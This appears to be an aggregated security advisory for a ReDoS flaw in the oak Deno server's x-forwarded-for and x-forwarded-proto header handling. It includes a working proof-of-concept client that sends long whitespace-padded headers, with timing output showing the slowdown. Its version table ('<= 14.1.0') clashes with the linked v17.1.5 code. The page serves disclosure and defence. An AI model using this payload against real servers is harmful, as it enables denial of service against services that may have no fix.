Oak Server has ReDoS in x-forwarded-proto and x-forwarded-for headers
Summary
With specially crafted value of the x-forwarded-proto or x-forwarded-for headers, it's possible to significantly slow down an oak server.
Vulnerable Code
- https://github.com/oakserver/oak/blob/v17.1.5/request.ts#L87
- https://github.com/oakserver/oak/blob/v17.1.5/request.ts#L142
PoC
- setup
deno --version
deno 2.4.3
v8 13.7.152.14-rusty
typescript 5.8.3
server.ts
import { Application } from "https://deno.land/x/oak/mod.ts";
const app = new Application({proxy: true});
let i = 1
app.use((ctx) => {
// let url = ctx.request.url // test1) x-forwarded-proto
let ips = ctx.request.ips // test2) x-forwarded-for
console.log(`request ${i} received`)
i++;
ctx.response.body = "hello";
});
await app.listen({ port: 8080 });
client.ts
const lengths = [2000, 4000, 8000, 16000, 32000, 64000, 128000]
const data1 = lengths.map(l => 'A' + 'A'.repeat(l) + 'A');
const data2 = lengths.map(l => 'A' + ' '.repeat(l) + 'A');
async function run(data) {
for (let i = 0; i < data.length; i++) {
let d = data[i];
const start = performance.now();
await fetch("http://localhost:8080", {
headers: {
// "x-forwarded-proto": d, // test1)
"x-forwarded-for": d, // test2)
},
});
const end = performance.now();
console.log('length=%d, time=%d ms', d.length, end - start);
}
}
console.log("\n[+] Test normal behavior")
await run(data1)
console.log("\n[+] Test payloads")
await run(data2)
- run
deno run --allow-net server.ts
deno run --allow-net client.ts
[+] Test normal behavior
length=2002, time=14 ms
length=4002, time=6 ms
length=8002, time=3 ms
length=16002, time=3 ms
length=32002, time=2 ms
length=64002, time=4 ms
length=128002, time=3 ms
[+] Test payloads
length=2002, time=7 ms
length=4002, time=22 ms
length=8002, time=77 ms
length=16002, time=241 ms
length=32002, time=947 ms
length=64002, time=4020 ms
length=128002, time=15840 ms
Impact
A specially crafted value of the x-forwarded-proto or x-forwarded-for headers can be used to significantly slow down an oak server.
Similar Issues
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | @oakserver/oak | <= 14.1.0 | no fix |
References
- https://github.com/oakserver/oak/security/advisories/GHSA-r3v7-pc4g-7xp9
- https://nvd.nist.gov/vuln/detail/CVE-2025-55152
- https://github.com/oakserver/oak/commit/b60e60330ef227707c4dc13ef0ea36192d894f44
- https://github.com/oakserver/oak
- https://github.com/oakserver/oak/blob/v17.1.5/request.ts#L142
- https://github.com/oakserver/oak/blob/v17.1.5/request.ts#L87
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L- Weakness (CWE)
CWE-400- Platform
- npm
- Package
@oakserver/oak- Disclosed
- 12.08.2025
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-r3v7-pc4g-7xp9 - CC BY 4.0
Vulnerability history: @oakserver/oak
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 2
- First → latest
- 11.2024 08.2025
- Without a fix
- 2
- Exploited in attacks
- 0
Severity breakdown
- High 1
- Medium 1
Disclosures per year
- 2024: 1
- 2025: 1
- 2026: 0
-
Oak Server has ReDoS in x-forwarded-proto and x-forwarded-for headers this entry
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